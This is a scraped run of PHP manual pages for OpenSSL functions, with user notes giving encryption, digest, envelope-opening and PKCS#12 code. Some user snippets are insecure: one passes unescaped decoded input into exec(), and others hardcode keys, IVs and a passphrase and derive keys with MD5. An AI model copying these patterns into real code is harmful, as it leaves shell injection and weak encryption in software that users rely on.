  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_encrypt'))
     return urlencode(openssl_encrypt(urlencode($msg), $method, $pass, false, $iv));
  else
     return urlencode(exec("echo \"".urlencode($msg)."\" | openssl enc -".urlencode($method)." -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv)));
}
function sslDec($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_decrypt'))
     return trim(urldecode(openssl_decrypt(urldecode($msg), $method, $pass, false, $iv)));
  else
     return trim(urldecode(exec("echo \"".urldecode($msg)."\" | openssl enc -".$method." -d -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv))));
}

//example of usage:
$r= sslEnc("This is encryption/decryption test!");
echo "<br>\n".$r.":".sslDec($r);
nbari at dalmp dot com 16-Jan-2012 12:52
There are cases where you need to send data in a secure way within an 'un-secure' connection, a  typically scenario of this, is a site with out SSL (no https).

For this cases you can use the GibberishAES javascript library, this library will encrypt your data before it is submitted using CBC AES encryption mode, and it is fully compatible with a standar like OpenSSL.

Example:

When displaying a form, you can set a hidden field containing a token, the one is stored on the server via sessions and is going to be used as the 'password' for encrypting the data on the user side, in help with the GibberishAES library.

In Javascript (user side):
// GibberishAES.enc(string, password)
// Defaults to 256 bit encryption
GibberishAES.enc("Made with Gibberish\n", "password");
// Outputs: "U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o"

Later when the user submits the data, you will need to decrypt the data, for that you could use the class below and use it like this:

<?php
sqAES::decrypt('password', 'U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o');
?>

That will return  the same result, that openssl would return from this command line :

echo "U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o" | openssl enc -d -aes-256-cbc -a -k password

This class currently only encrypts/decrypts AES256 but can be easily modified to feed your needs, right now it is fully compatible withe the  GibberishAES library, so you could decrypt all your users data and also send encrypted data back to the user in a secure way, all this thanks to the openssl-decrypt/openssl-encrypt functions.

<?php

class sqAES {

  /**
   * decrypt AES 256
   *
   * @param string $password
   * @param data $edata
   * @return dencrypted data
   */
  public static function decrypt($password, $edata) {
    $data = base64_decode($edata);
    $salt = substr($data, 8, 8);
    $ct = substr($data, 16);
    /**
     * From https://github.com/mdp/gibberish-aes
     *
     * Number of rounds depends on the size of the AES in use
     * 3 rounds for 256
     *        2 rounds for the key, 1 for the IV
     * 2 rounds for 128
     *        1 round for the key, 1 round for the IV
     * 3 rounds for 192 since it's not evenly divided by 128 bits
     */
    $rounds = 3;
    $data00 = $password.$salt;
    $md5_hash = array();
    $md5_hash[0] = md5($data00, true);
    $result = $md5_hash[0];
    for ($i = 1; $i < $rounds; $i++) {
      $md5_hash[$i] = md5($md5_hash[$i - 1].$data00, true);
        $result .= $md5_hash[$i];
    }
    $key = substr($result, 0, 32);
    $iv  = substr($result, 32,16);

      return openssl_decrypt($ct, 'aes-256-cbc', $key, true, $iv);
  }

  /**
   * crypt AES 256
   *
   * @param string $password
   * @param data $data
   * @return base64 encrypted data
   */
  public static function crypt($password, $data) {
    // Set a random salt
    $salt = openssl_random_pseudo_bytes(8);

    $salted = '';
    $dx = '';
    // Salt the key(32) and iv(16) = 48
    while (strlen($salted) < 48) {
      $dx = md5($dx.$password.$salt, true);
      $salted .= $dx;
    }

    $key = substr($salted, 0, 32);
    $iv  = substr($salted, 32,16);

    $encrypted_data = openssl_encrypt($data, 'aes-256-cbc', $key, true, $iv);
    return base64_encode('Salted__' . $salt . $encrypted_data);
  }

}

?>


Computes shared secret for public value of remote DH key and local DH key

  • « openssl_decrypt
  • openssl_digest »
  • PHP Manual
  • OpenSSL Functions
  • Computes shared secret for public value of remote DH key and local DH key

openssl_dh_compute_key

(PHP 5 >= 5.3.11)

openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key

Description

string openssl_dh_compute_key ( string $pub_key , resource $dh_key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pub_key

Public key

dh_key

DH key

Return Values

Returns computed key on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Computes a digest

  • « openssl_dh_compute_key
  • openssl_encrypt »
  • PHP Manual
  • OpenSSL Functions
  • Computes a digest

openssl_digest

(PHP 5 >= 5.3.0)

openssl_digest — Computes a digest

Description

string openssl_digest ( string $data , string $method [, bool $raw_output = false ] )

Computes a digest hash value for the given data using a given method, and returns a raw or binhex encoded string.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The digest method.

raw_output

Setting to TRUE will return as raw output data, otherwise the return value is binhex encoded.

Return Values

Returns the digested hash value on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown signature algorithm is passed via the method parameter.

See Also

  • openssl_get_cipher_methods() - Gets available cipher methods

User Contributed Notes

Anonymous 18-Jun-2014 03:07
Hmm.. really @mwgamera? openssl_get_cipher_methods() returns cipher methods but openssl_digest() expects a digest method in the second parameter. However even the docu on this page links to the openssl_get_cipher_methods() method in the "See also" section (however this can be a coincidence). Shouldn't it be a digest method from openssl_get_md_methods() instead openssl_get_cipher_methods()?

I'm not very experienced in cryptography but I don't really understand why you would pass a cipher method to a hash function instead of a digest method.
mwgamera at gmail dot com 13-Aug-2013 08:42
The second argument should be one of the values returned by openssl_get_md_methods() rather than hash_algos(). ‘Hash’ and ‘OpenSSL’ are independent extensions and support different selection of digest algorithms. Notably, Hash supports some non-cryptographic hashes like adler or crc.
skyblackhawk at yahoo dot it 10-Jun-2011 05:34
Example:
// $fileBuffer is buffer of file in open mode or a generic stream...
$fingerPrint = openssl_digest ($fileBuffer , "sha512");

$method parameter is one of hash_algos() array;

<? echo"<PRE>";
      var_dump(hash_algos());
      echo "</PRE>"
?>

Output:

array(42) {
  [0]=>
  string(3) "md2"
  [1]=>
  string(3) "md4"
  [2]=>
  string(3) "md5"
  [3]=>
  string(4) "sha1"
  [4]=>
  string(6) "sha224"
  [5]=>
  string(6) "sha256"
  [6]=>
  string(6) "sha384"
  [7]=>
  string(6) "sha512"
  [8]=>
  string(9) "ripemd128"
  [9]=>
  string(9) "ripemd160"
  [10]=>
  string(9) "ripemd256"
  [11]=>
  string(9) "ripemd320"
  [12]=>
  string(9) "whirlpool"
  [13]=>
  string(10) "tiger128,3"
  [14]=>
  string(10) "tiger160,3"
  [15]=>
  string(10) "tiger192,3"
  [16]=>
  string(10) "tiger128,4"
  [17]=>
  string(10) "tiger160,4"
  [18]=>
  string(10) "tiger192,4"
  [19]=>
  string(6) "snefru"
  [20]=>
  string(9) "snefru256"
  [21]=>
  string(4) "gost"
  [22]=>
  string(7) "adler32"
  [23]=>
  string(5) "crc32"
  [24]=>
  string(6) "crc32b"
  [25]=>
  string(7) "salsa10"
  [26]=>
  string(7) "salsa20"
  [27]=>
  string(10) "haval128,3"
  [28]=>
  string(10) "haval160,3"
  [29]=>
  string(10) "haval192,3"
  [30]=>
  string(10) "haval224,3"
  [31]=>
  string(10) "haval256,3"
  [32]=>
  string(10) "haval128,4"
  [33]=>
  string(10) "haval160,4"
  [34]=>
  string(10) "haval192,4"
  [35]=>
  string(10) "haval224,4"
  [36]=>
  string(10) "haval256,4"
  [37]=>
  string(10) "haval128,5"
  [38]=>
  string(10) "haval160,5"
  [39]=>
  string(10) "haval192,5"
  [40]=>
  string(10) "haval224,5"
  [41]=>
  string(10) "haval256,5"
}


Encrypts data

  • « openssl_digest
  • openssl_error_string »
  • PHP Manual
  • OpenSSL Functions
  • Encrypts data

openssl_encrypt

(PHP 5 >= 5.3.0)

openssl_encrypt — Encrypts data

Description

string openssl_encrypt ( string $data , string $method , string $password [, int $options = 0 [, string $iv = "" ]] )

Encrypts given data with given method and key, returns a raw or base64 encoded string

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The cipher method.

password

The password.

options

options can be one of OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.

iv

A non-NULL Initialization Vector.

Return Values

Returns the encrypted string on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown cipher algorithm is passed in via the method parameter.

Emits an E_WARNING level error if an empty value is passed in via the iv parameter.

Changelog

Version | Description
5.3.3 | The iv parameter was added.
5.4.0 | The raw_output was changed to options.

See Also

  • openssl_decrypt() - Decrypts data

User Contributed Notes

kasper at webmasteren dot eu 14-Sep-2012 08:36
For security reasons, if NOT  encrypting using a (cryptographically) random IV, then the IV itself must be entryptet as well ( this is not handled behind the scene).
the reason is that it leads to predictable IV's, which then breaks semantic security. [this kind of attack can already be done on ssl/ TLS 1.1].
max 01-Aug-2012 11:35
Might be useful to people trying to use 'aes-256-cbc' cipher (and probably other cbc ciphers) in collaboration with other implementations of AES (C libs for example) that the openssl extension has a strict implementation regarding padding bytes. I found the solution only by manually going through the openssl source.

In C, you would want to pad plaintexts the following way (assuming all mem allocations are proper):

nPadding = ( 16 - ( bufferSize % 16 ) ) ? ( 16 - ( bufferSize % 16 ) ) : 16;
for( index = bufferSize; index < bufferSize + nPadding; index++ )
{
    plaintext[ index ] = (char)nPadding;
}

while decryptions are validated like:

isSuccess = TRUE;
for( index = bufferSize - 1; index > ( bufferSize - nPadding ); index-- )
{
    if( plaintext[ index ] != nPadding )
    {
        isSuccess = FALSE;
        break;
    }
}
decryptedSize = bufferSize - nPadding;

In plain english, the buffer must be padded up to blockSize. If the buffer is already a multiple of blockSize, you add an entire new blockSize bytes as padding.

The value of the padding bytes MUST be the number of padding bytes as a byte...

So 5 bytes of padding will result in the following bytes added at the end of the ciphertext:
[ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ]

Hope this saves someone else a few hours of their life.
kazaaknet at yahoo dot com 11-Jul-2012 02:23
Be advised there was a memory leak in this function: https://bugs.php.net/bug.php?id=54060.  I believe this got fixed in 5.3.6, but on production webservers running 5.3.5 with modest traffic, this became  a memory hemorrhage that brought my site down.  Look at mcrypt_encrypt instead.
Kukulkan 22-May-2012 12:39
PHP OpenSSL functions openssl_encrypt() and openssl_decrypt() seem to use PKCS5/7 style padding for all symmetric ciphers. Upon this, you can't use them to encrypt using null byte padding or to decrypt null byte padded data.

The developers of the wrapper forgot the padding scheme flags... :(
biohazard dot ge at gmail dot com 15-Jun-2011 03:48
Many users give up with handilng problem when openssl command line tool cant decrypt php openssl encrypted file which is encrypted with openssl_encrypt function.

For example how beginner is encrypting data:

<?php

$string = 'It works ? Or not it works ?';
$pass = '1234';
$method = 'aes128';

file_put_contents ('./file.encrypted', openssl_encrypt ($string, $method, $pass));

?>

And then how beginner is trying to decrypt data from command line:

# openssl enc -aes-128-cbc -d -in file.encrypted -pass pass:123

Or even if he/she determinates that openssl_encrypt output was base64 and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123

Or even if he determinates that base64 encoded file is represented in one line and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -A -pass pass:123

Or even if he determinates that IV is needed and adds some string iv as encryption function`s fourth parameter and than adds hex representation of iv as parameter in openssl command line :

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123 -iv -iv 31323334353637383132333435363738

Or even if he determinates that aes-128 password must be 128 bits there fore 16 bytes and sets $pass = '1234567812345678' and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:1234567812345678 -iv -iv 31323334353637383132333435363738

All these troubles will have no result in any case.

BECAUSE THE PASSWORD PARAMETER DOCUMENTED HERE IS NOT THE PASSWORD.

It means that the password parameter of the function is not the same string used as [-pass pass:] parameter with openssl cmd tool for file encryption decryption.

IT IS THE KEY !

And now how to correctly encrypt data with php openssl_encrypt and how to correctly decrypt it from openssl command line tool.

<?php

    function strtohex($x)
    {
        $s='';
        foreach (str_split($x) as $c) $s.=sprintf("%02X",ord($c));
        return($s);
    }

    $source = 'It works !';

    $iv = "1234567812345678";
    $pass = '1234567812345678';
    $method = 'aes-128-cbc';

    echo "\niv in hex to use: ".strtohex ($iv);
    echo "\nkey in hex to use: ".strtohex ($pass);
    echo "\n";

    file_put_contents ('./file.encrypted',openssl_encrypt ($source, $method, $pass, true, $iv));

    $exec = "openssl enc -".$method." -d -in file.encrypted -nosalt -nopad -K ".strtohex($pass)." -iv ".strtohex($iv);

    echo 'executing: '.$exec."\n\n";
    echo exec ($exec);
    echo "\n";

?>

IV and Key parameteres passed to openssl command line must be in hex representation of string.

The correct command for decrypting is:

# openssl enc -aes-128-cbc -d -in file.encrypted -nosalt -nopad -K 31323334353637383132333435363738 -iv 31323334353637383132333435363738

As it has no salt has no padding and by setting functions third parameter we have no more base64 encoded file to decode. The command will echo that it works...

: /
public at grik dot net 02-Aug-2010 02:25
In 5.3.3 they added a new parameter, string $iv (initialization vector)
Real parameters are:
string openssl_encrypt ( string $data , string $method , string $password, bool $raw_output = false, string $iv )

If $iv is missing, a warning is issued: "Using an empty Initialization Vector (iv) is potentially insecure and not recommended".

If $iv is too short, another warning:
"IV passed is only 3 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0"

same IV should be used in openssl_decrypt()
public at grik dot net 25-Dec-2009 06:54
The list of methods for this function can be obtained with openssl_get_cipher_methods();
The password can be encrypted with the openssl_private/public_encrypt()


Return openSSL error message

  • « openssl_encrypt
  • openssl_free_key »
  • PHP Manual
  • OpenSSL Functions
  • Return openSSL error message

openssl_error_string

(PHP 4 >= 4.0.6, PHP 5)

openssl_error_string — Return openSSL error message

Description

string openssl_error_string ( void )

openssl_error_string() returns the last error from the openSSL library. Error messages are queued, so this function should be called multiple times to collect all of the information. The last error will be the most recent one.

Return Values

Returns an error message string, or FALSE if there are no more error messages to return.

Examples

Example #1 openssl_error_string() example

<?php
// lets assume you just called an openssl function that failed
while ($msg = openssl_error_string())
    echo $msg . "<br />\n";
?>

User Contributed Notes

Richard Lynch 16-Jul-2013 04:34
Note that there may be two (or more) lines for one error.

Best to clear it out and read it for each openssl call.

PS
There are no "threads" and if the other library doesn't have enough sense to read (and therefore clear) the queue (errr, dequeue) of messages before and after their openssl calls...
A) That's their problem
B) Look for a new library, because NOT doing that means they aren't writing their code properly.


Free key resource

  • « openssl_error_string
  • openssl_get_cert_locations »
  • PHP Manual
  • OpenSSL Functions
  • Free key resource

openssl_free_key

(PHP 4 >= 4.0.4, PHP 5)

openssl_free_key — Free key resource

Description

void openssl_free_key ( resource $key_identifier )

openssl_free_key() frees the key associated with the specified key_identifier from memory.

Parameters

key_identifier

Return Values

No value is returned.

User Contributed Notes

Richard Lynch 18-Jul-2013 12:44
openssl_free_key and openssl_pkey_free are probably aliases.

And the preferred one is probably openssl_pkey_free.


Retrieve the available certificate locations

  • « openssl_free_key
  • openssl_get_cipher_methods »
  • PHP Manual
  • OpenSSL Functions
  • Retrieve the available certificate locations

openssl_get_cert_locations

(PHP 5 >= 5.6.0)

openssl_get_cert_locations — Retrieve the available certificate locations

Description

array openssl_get_cert_locations ( void )

openssl_get_cert_locations() returns an array with information about the available certificate locations that will be searched for SSL certificates.

Parameters

This function has no parameters.

Return Values

Returns an array with the available certificate locations.

Examples

Example #1 openssl_get_cert_locations() example

<?php
var_dump(openssl_get_cert_locations());
?>

The above example will output:

array(8) {
  ["default_cert_file"]=>
  string(21) "/usr/lib/ssl/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/usr/lib/ssl/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/usr/lib/ssl/private"
  ["default_default_cert_area"]=>
  string(12) "/usr/lib/ssl"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

User Contributed Notes

There are no user contributed notes for this page.


Gets available cipher methods

  • « openssl_get_cert_locations
  • openssl_get_md_methods »
  • PHP Manual
  • OpenSSL Functions
  • Gets available cipher methods

openssl_get_cipher_methods

(PHP 5 >= 5.3.0)

openssl_get_cipher_methods — Gets available cipher methods

Description

array openssl_get_cipher_methods ([ bool $aliases = false ] )

Gets a list of available cipher methods.

Parameters

aliases

Set to TRUE if cipher aliases should be included within the returned array.

Return Values

An array of available cipher methods.

Examples

Example #1 openssl_get_cipher_methods() example

Shows how the available ciphers might look, and also which aliases might be available.

<?php
$ciphers             = openssl_get_cipher_methods();
$ciphers_and_aliases = openssl_get_cipher_methods(true);
$cipher_aliases      = array_diff($ciphers_and_aliases, $ciphers);

print_r($ciphers);

print_r($cipher_aliases);

?>

The above example will output something similar to:

Array
(
    [0] => AES-128-CBC
    [1] => AES-128-CFB
    [2] => AES-128-CFB1
    [3] => AES-128-CFB8
    [4] => AES-128-ECB
    [5] => AES-128-OFB
    [6] => AES-192-CBC
    [7] => AES-192-CFB
    [8] => AES-192-CFB1
    [9] => AES-192-CFB8
    [10] => AES-192-ECB
    [11] => AES-192-OFB
    [12] => AES-256-CBC
    [13] => AES-256-CFB
    [14] => AES-256-CFB1
    [15] => AES-256-CFB8
    [16] => AES-256-ECB
    [17] => AES-256-OFB
    [18] => BF-CBC
    [19] => BF-CFB
    [20] => BF-ECB
    [21] => BF-OFB
    [22] => CAST5-CBC
    [23] => CAST5-CFB
    [24] => CAST5-ECB
    [25] => CAST5-OFB
    [26] => DES-CBC
    [27] => DES-CFB
    [28] => DES-CFB1
    [29] => DES-CFB8
    [30] => DES-ECB
    [31] => DES-EDE
    [32] => DES-EDE-CBC
    [33] => DES-EDE-CFB
    [34] => DES-EDE-OFB
    [35] => DES-EDE3
    [36] => DES-EDE3-CBC
    [37] => DES-EDE3-CFB
    [38] => DES-EDE3-OFB
    [39] => DES-OFB
    [40] => DESX-CBC
    [41] => IDEA-CBC
    [42] => IDEA-CFB
    [43] => IDEA-ECB
    [44] => IDEA-OFB
    [45] => RC2-40-CBC
    [46] => RC2-64-CBC
    [47] => RC2-CBC
    [48] => RC2-CFB
    [49] => RC2-ECB
    [50] => RC2-OFB
    [51] => RC4
    [52] => RC4-40
    [53] => aes-128-cbc
    [54] => aes-128-cfb
    [55] => aes-128-cfb1
    [56] => aes-128-cfb8
    [57] => aes-128-ecb
    [58] => aes-128-ofb
    [59] => aes-192-cbc
    [60] => aes-192-cfb
    [61] => aes-192-cfb1
    [62] => aes-192-cfb8
    [63] => aes-192-ecb
    [64] => aes-192-ofb
    [65] => aes-256-cbc
    [66] => aes-256-cfb
    [67] => aes-256-cfb1
    [68] => aes-256-cfb8
    [69] => aes-256-ecb
    [70] => aes-256-ofb
    [71] => bf-cbc
    [72] => bf-cfb
    [73] => bf-ecb
    [74] => bf-ofb
    [75] => cast5-cbc
    [76] => cast5-cfb
    [77] => cast5-ecb
    [78] => cast5-ofb
    [79] => des-cbc
    [80] => des-cfb
    [81] => des-cfb1
    [82] => des-cfb8
    [83] => des-ecb
    [84] => des-ede
    [85] => des-ede-cbc
    [86] => des-ede-cfb
    [87] => des-ede-ofb
    [88] => des-ede3
    [89] => des-ede3-cbc
    [90] => des-ede3-cfb
    [91] => des-ede3-ofb
    [92] => des-ofb
    [93] => desx-cbc
    [94] => idea-cbc
    [95] => idea-cfb
    [96] => idea-ecb
    [97] => idea-ofb
    [98] => rc2-40-cbc
    [99] => rc2-64-cbc
    [100] => rc2-cbc
    [101] => rc2-cfb
    [102] => rc2-ecb
    [103] => rc2-ofb
    [104] => rc4
    [105] => rc4-40
)
Array
(
    [18] => AES128
    [19] => AES192
    [20] => AES256
    [21] => BF
    [26] => CAST
    [27] => CAST-cbc
    [32] => DES
    [47] => DES3
    [48] => DESX
    [50] => IDEA
    [55] => RC2
    [82] => aes128
    [83] => aes192
    [84] => aes256
    [85] => bf
    [90] => blowfish
    [91] => cast
    [92] => cast-cbc
    [97] => des
    [112] => des3
    [113] => desx
    [115] => idea
    [120] => rc2
)

See Also

  • openssl_get_md_methods() - Gets available digest methods

User Contributed Notes

There are no user contributed notes for this page.


Gets available digest methods

  • « openssl_get_cipher_methods
  • openssl_get_privatekey »
  • PHP Manual
  • OpenSSL Functions
  • Gets available digest methods

openssl_get_md_methods

(PHP 5 >= 5.3.0)

openssl_get_md_methods — Gets available digest methods

Description

array openssl_get_md_methods ([ bool $aliases = false ] )

Gets a list of available digest methods.

Parameters

aliases

Set to TRUE if digest aliases should be included within the returned array.

Return Values

An array of available digest methods.

Examples

Example #1 openssl_get_md_methods() example

Shows how the available digests might look, and also which aliases might be available.

<?php
$digests             = openssl_get_md_methods();
$digests_and_aliases = openssl_get_md_methods(true);
$digest_aliases      = array_diff($digests_and_aliases, $digests);

print_r($digests);

print_r($digest_aliases);

?>

The above example will output something similar to:

Array
(
    [0] => DSA
    [1] => DSA-SHA
    [2] => MD2
    [3] => MD4
    [4] => MD5
    [5] => RIPEMD160
    [6] => SHA
    [7] => SHA1
    [8] => SHA224
    [9] => SHA256
    [10] => SHA384
    [11] => SHA512
    [12] => dsaEncryption
    [13] => dsaWithSHA
    [14] => ecdsa-with-SHA1
    [15] => md2
    [16] => md4
    [17] => md5
    [18] => ripemd160
    [19] => sha
    [20] => sha1
    [21] => sha224
    [22] => sha256
    [23] => sha384
    [24] => sha512
)
Array
(
    [2] => DSA-SHA1
    [3] => DSA-SHA1-old
    [4] => DSS1
    [9] => RSA-MD2
    [10] => RSA-MD4
    [11] => RSA-MD5
    [12] => RSA-RIPEMD160
    [13] => RSA-SHA
    [14] => RSA-SHA1
    [15] => RSA-SHA1-2
    [16] => RSA-SHA224
    [17] => RSA-SHA256
    [18] => RSA-SHA384
    [19] => RSA-SHA512
    [28] => dsaWithSHA1
    [29] => dss1
    [32] => md2WithRSAEncryption
    [34] => md4WithRSAEncryption
    [36] => md5WithRSAEncryption
    [37] => ripemd
    [39] => ripemd160WithRSA
    [40] => rmd160
    [43] => sha1WithRSAEncryption
    [45] => sha224WithRSAEncryption
    [47] => sha256WithRSAEncryption
    [49] => sha384WithRSAEncryption
    [51] => sha512WithRSAEncryption
    [52] => shaWithRSAEncryption
    [53] => ssl2-md5
    [54] => ssl3-md5
    [55] => ssl3-sha1
)

See Also

  • openssl_digest() - Computes a digest
  • openssl_get_cipher_methods() - Gets available cipher methods

User Contributed Notes

There are no user contributed notes for this page.


Alias of openssl_pkey_get_private

  • « openssl_get_md_methods
  • openssl_get_publickey »
  • PHP Manual
  • OpenSSL Functions
  • Alias of openssl_pkey_get_private

openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_privatekey — Alias of openssl_pkey_get_private()

Description

This function is an alias of: openssl_pkey_get_private().

User Contributed Notes

There are no user contributed notes for this page.


Alias of openssl_pkey_get_public

  • « openssl_get_privatekey
  • openssl_open »
  • PHP Manual
  • OpenSSL Functions
  • Alias of openssl_pkey_get_public

openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_publickey — Alias of openssl_pkey_get_public()

Description

This function is an alias of: openssl_pkey_get_public().

User Contributed Notes

There are no user contributed notes for this page.


Open sealed data

  • « openssl_get_publickey
  • openssl_pbkdf2 »
  • PHP Manual
  • OpenSSL Functions
  • Open sealed data

openssl_open

(PHP 4 >= 4.0.4, PHP 5)

openssl_open — Open sealed data

Description

bool openssl_open ( string $sealed_data , string &$open_data , string $env_key , mixed $priv_key_id [, string $method ] )

openssl_open() opens (decrypts) sealed_data using the private key associated with the key identifier priv_key_id and the envelope key env_key, and fills open_data with the decrypted data. The envelope key is generated when the data are sealed and can only be used by one specific private key. See openssl_seal() for more information.

Parameters

sealed_data

open_data

If the call is successful the opened data is returned in this parameter.

env_key

priv_key_id

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_open() example

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

// free the private key from memory
openssl_free_key($pkeyid);
?>

See Also

  • openssl_seal() - Seal (encrypt) data

User Contributed Notes

sdc 25-Jun-2011 11:31
PHP compiled without OpenSSL support? Here's how you can call the openssl command-line utility to achieve the same goal:

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// specify private key file and passphrase
$pkey_file='key.pem';
$pkey_pp='netsvc';

// call openssl to decrypt envelope key
$ph=proc_open('openssl rsautl -decrypt -inkey '.
 escapeshellarg($pkey_file).' -passin fd:3',array(
  0 => array('pipe','r'), // stdin < envelope key
  1 => array('pipe','w'), // stdout > decoded envelope key
  2 => STDERR,
  3 => array('pipe','r'), // < passphrase
 ),$pipes);
// write envelope key
fwrite($pipes[0],$env_key);
fclose($pipes[0]);
// write private key passphrase
fwrite($pipes[3],$pkey_pp);
fclose($pipes[3]);
// read decoded key, convert to hexadecimal
$env_key='';
while(!feof($pipes[1])){
  $env_key.=sprintf("%02x",ord(fgetc($pipes[1])));
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// call openssl to decryp
$ph=proc_open('openssl rc4 -d -iv 0 -K '.$env_key,array(
  0 => array('pipe','r'), // stdin < sealed data
  1 => array('pipe','w'), // stdout > opened data
  2 => STDERR,
 ),$pipes);
// write sealed data
fwrite($pipes[0],$sealed);
fclose($pipes[0]);
// read opened data
//$open=stream_get_contents($pipes[1]);
$open='';
while(!feof($pipes[1])){
  $open.=fgets($pipes[1]);
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// display the decrypted data
echo $open;

?>
Gareth Owen 17-Feb-2009 05:20
Example code, assume mycert.pem is a certificate containing both private and public key.

$cert = file_get_contents("mycert.pem");

$public = openssl_get_publickey($cert);
$private = openssl_get_privatekey($cert);

$data = "I'm a lumberjack and I'm okay.";

echo "Data before: {$data}\n";
openssl_seal($data, $cipher, $e, array($public));

echo "Ciphertext: {$cipher}\n";

openssl_open($cipher, $open, $e[0], $private);
echo "Decrypted: {$open}\n";


Generates a PKCS5 v2 PBKDF2 string, defaults to SHA-1

  • « openssl_open
  • openssl_pkcs12_export_to_file »
  • PHP Manual
  • OpenSSL Functions
  • Generates a PKCS5 v2 PBKDF2 string, defaults to SHA-1

openssl_pbkdf2

(PHP 5 >= 5.5.0)

openssl_pbkdf2 — Generates a PKCS5 v2 PBKDF2 string, defaults to SHA-1

Description

string openssl_pbkdf2 ( string $password , string $salt , int $key_length , int $iterations [, string $digest_algorithm ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

password

salt

key_length

iterations

digest_algorithm

Return Values

Returns string or FALSE on failure.

User Contributed Notes

McGlockenshire 20-Mar-2014 05:10
Despite the manual claiming that this is available in PHP 5.5 and above, this function wasn't made available in my local install.

I expect that having a prehistoric OpenSSL library version installed is the likely culprit.

If you're using PHP 5.5 and don't have this function available in your OpenSSL extension, look at the functionally equivalent hash_pbkdf2 function instead.


Exports a PKCS#12 Compatible Certificate Store File

  • « openssl_pbkdf2
  • openssl_pkcs12_export »
  • PHP Manual
  • OpenSSL Functions
  • Exports a PKCS#12 Compatible Certificate Store File

openssl_pkcs12_export_to_file

(PHP 5 >= 5.2.2)

openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File

Description

bool openssl_pkcs12_export_to_file ( mixed $x509 , string $filename , mixed $priv_key , string $pass [, array $args ] )

openssl_pkcs12_export_to_file() stores x509 into a file named by filename in a PKCS#12 file format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

filename

Path to the output file.

priv_key

Private key component of PKCS#12 file.

pass

Encryption password for unlocking the PKCS#12 file.

args

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

lampacz at gmail dot com 02-Jul-2009 10:13
[, array $args ]  can contain only: extracerts, friendly_name

extracerts - additional certificates (can be file or string)
friendly_name - "friendly name" for the certificate and private key. This name is typically displayed in list boxes by software importing the file.

based on source code version 5.2.8 and pkcs12 man page


Exports a PKCS#12 Compatible Certificate Store File to variable.

  • « openssl_pkcs12_export_to_file
  • openssl_pkcs12_read »
  • PHP Manual
  • OpenSSL Functions
  • Exports a PKCS#12 Compatible Certificate Store File to variable.

openssl_pkcs12_export

(PHP 5 >= 5.2.2)

openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.

Description

bool openssl_pkcs12_export ( mixed $x509 , string &$out , mixed $priv_key , string $pass [, array $args ] )

openssl_pkcs12_export() stores x509 into a string named by out in a PKCS#12 file format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

out

On success, this will hold the PKCS#12.

priv_key

Private key component of PKCS#12 file.

pass

Encryption password for unlocking the PKCS#12 file.

args

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Robert 16-May-2014 02:36
If you need to provide multiple additional certificates, the 'extracerts' argument needs to be an array with one certificate per element:
<?php
$args = array(
    'extracerts' => array(
        0 => '-----BEGIN CERTIFICATE----- cert1 ...',
        1 => '-----BEGIN CERTIFICATE----- cert2 ...',
        // ...
        )
    );
?>

You can use this to prepare a PEM.

<?php
$pemChain = '...';
preg_match_all('/(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)/si', $pemChain, $matches);
$args = array('extracerts' => $matches[0]);
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
ismael at privasy dot org 24-Apr-2014 06:38
in order to export a private key to pkcs12 format, the input certificate must contain both private and associated public key in PEM format ,

-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

